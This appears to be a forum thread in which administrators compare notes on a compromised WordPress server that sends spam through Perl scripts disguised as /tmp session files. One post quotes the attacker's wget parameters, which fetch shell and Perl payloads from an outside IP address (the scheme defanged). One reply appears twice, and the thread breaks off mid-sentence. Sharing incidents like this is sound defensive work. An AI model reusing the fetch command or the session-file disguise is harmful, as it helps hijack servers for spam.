Hello again!
I've managed to catch the intruder.
I bet that every one that have this problem with /tmp/sess_652...... file, have wordpress installed.
Check the folder /wp-content/uploads for a file named get.php and file.txt
That's how they managed to send mail trough our server.
I have a bunch...
I have blocked httpd user by cron.deny.
The wget command is used to load the script.
The parameters of wget are:
xxtp://38.101.26.226/test2.sh -qO /tmp/sess_f652da7dd28dce7baeeae54a46ae4099
and
xxtp://38.101.26.226/test2.jpg -qO /tmp/sess_f652da7dd28dce7baeeae54a46ae4092
Hello,
I have the exact situation.
In /tmp I have manage to catch sess_f652da7dd28dce7baeeae54a46ae4092 and sess_f652da7dd28dce7baeeae54a46ae4099.
sess_f652da7dd28dce7baeeae54a46ae4092 it's a perl script that is sending spam from my server and sess_f652da7dd28dce7baeeae54a46ae4099 have this...
Hello,
I have the exact situation.
In /tmp I have manage to catch sess_f652da7dd28dce7baeeae54a46ae4092 and sess_f652da7dd28dce7baeeae54a46ae4099.
sess_f652da7dd28dce7baeeae54a46ae4092 it's a perl script that is sending spam from my server and sess_f652da7dd28dce7baeeae54a46ae4099 have this...